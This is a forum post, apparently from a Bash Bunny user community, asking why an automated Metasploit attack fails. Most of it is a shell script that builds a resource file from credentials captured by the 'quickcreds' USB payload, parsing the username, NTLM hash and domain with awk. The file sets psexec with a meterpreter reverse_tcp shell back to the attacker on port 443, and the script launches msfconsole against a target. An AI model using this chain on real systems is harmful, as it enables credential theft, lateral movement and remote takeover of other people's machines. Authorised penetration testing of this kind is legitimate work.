msfconsole psexec and BB


Recommended Posts

This is not a 100% BashBunny topic, but it is related and I think all the newbies like me could be interested.

I 've used Metasploit in a Kali laptop with a post mimikatz module loaded and dump  NTLMv2 hashes fine. Takes a Superuser account hash, and use  exploit/windows/smb/psexec for accessing other computers on the same network.

Then I realize I can setup msf on my BB.

Running V1.3 on my BB, I setup Metasploit following this guide :


First, it melt my brain as it didn't work and I am not super skilled on this matters, but after some Gems uninstall/install/downgrade I finally make it works.

Then I used the  quickcreds payload for getting the hashes through the USB and when that is done, I build a RC file that it pass to the msfconsole -r.

So far so good.

Metasploit takes like 1 minute to load, but it works. The problem is when it try to exploit it, I always get Login Error : execution expired

The main question is: are the hashes on hashdump  somehow different than the hashes that quickcreds provides? (I hope that don't sounds too newbie)

Or anyone see anything bad on what I am doing here?


This is the log I got from metasploit :

This is what I added to the payload to test it (ugly code, it is just a test):

echo "use exploit/windows/smb/psexec" > $LOOTDIR/$HOST-$COUNT/conf.txt
echo "set payload windows/meterpreter/reverse_tcp" >> $LOOTDIR/$HOST-$COUNT/conf.txt
echo "set LHOST" >> $LOOTDIR/$HOST-$COUNT/conf.txt
echo "set LPORT 443" >> $LOOTDIR/$HOST-$COUNT/conf.txt
echo "set RHOST ${TARGET_IP}" >> $LOOTDIR/$HOST-$COUNT/conf.txt
head -1 /root/loot/quickcreds/$HOST-$COUNT/*NTLM* |awk -F':' '{print "set SMBUser "$1}' >> $LOOTDIR/$HOST-$COUNT/conf.txt
head -1 /root/loot/quickcreds/$HOST-$COUNT/*NTLM* |awk -F':' '{print "set SMBPass "$4":"$5}' >> $LOOTDIR/$HOST-$COUNT/conf.txt
head -1 /root/loot/quickcreds/$HOST-$COUNT/*NTLM* |awk -F':' '{print "set SMBDomain "$3}' >> $LOOTDIR/$HOST-$COUNT/conf.txt

echo "exploit -j" >> $LOOTDIR/$HOST-$COUNT/conf.txt
export HOME=/root
source /etc/profile.d/rvm.sh
cd /root/metasploit-framework/
./msfconsole -r $LOOTDIR/$HOST-$COUNT/conf.txt &>> /root/msf.log
